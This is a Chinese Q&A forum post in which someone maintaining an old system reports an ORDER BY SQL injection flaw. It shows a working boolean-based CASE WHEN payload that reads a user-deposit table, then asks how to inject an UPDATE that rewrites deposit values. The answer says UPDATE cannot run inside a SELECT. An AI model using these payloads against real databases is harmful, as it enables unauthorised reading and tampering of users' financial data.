mysql - sql报错原因?
问题描述
发现一个正在维护的老系统的基于orderBy的sql注入漏洞,准备验证一下,
我先执行这个sql注入,是可以的
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(select depositfrom sysuser_user_deposit)end)=1 ASC LIMIT 20 OFFSET 0
但是当我执行这个带update语句的sql时报错了:
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(updatesysuser_user_depositsetdeposit=11)end)=1 ASC LIMIT 20 OFFSET 0
报错
<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’update<br>sysuser_user_deposit<br>set<br>deposit=11)end)=1 ASC LIMIT 20 OFFSET 0’ at line 9</code>
我应该如何让他执行update?
问题解答
回答1:主体是select的时候,里面是不能update的,否则执行不了的,mybatis这种注入我试过,<select>里执行update直接报错,注入不了
相关文章:
1. html - 自学php 遇到代码不执行直接在网页上显示 望各位大神不吝赐教2. html - node-module文件有两个在我的项目文件里3. 这段代码是获取百度收录量的!需要怎么设置才能获取百度快照旁边的网址呢?4. 这是什么情况???5. android-studio - android studio如何设置默认打开欢迎页而不是最近的项目?6. 微信小程序的选项卡中的数据分页加载卡顿问题???7. linux - ngxin配置后,网页打不开8. Android Studio 中 xUtils 3.0 替换 2.0 的时候总报找不到 jar 包是什么原因?9. 数据表里没数据显示10. mysql如何配置远程php外网链接数据库
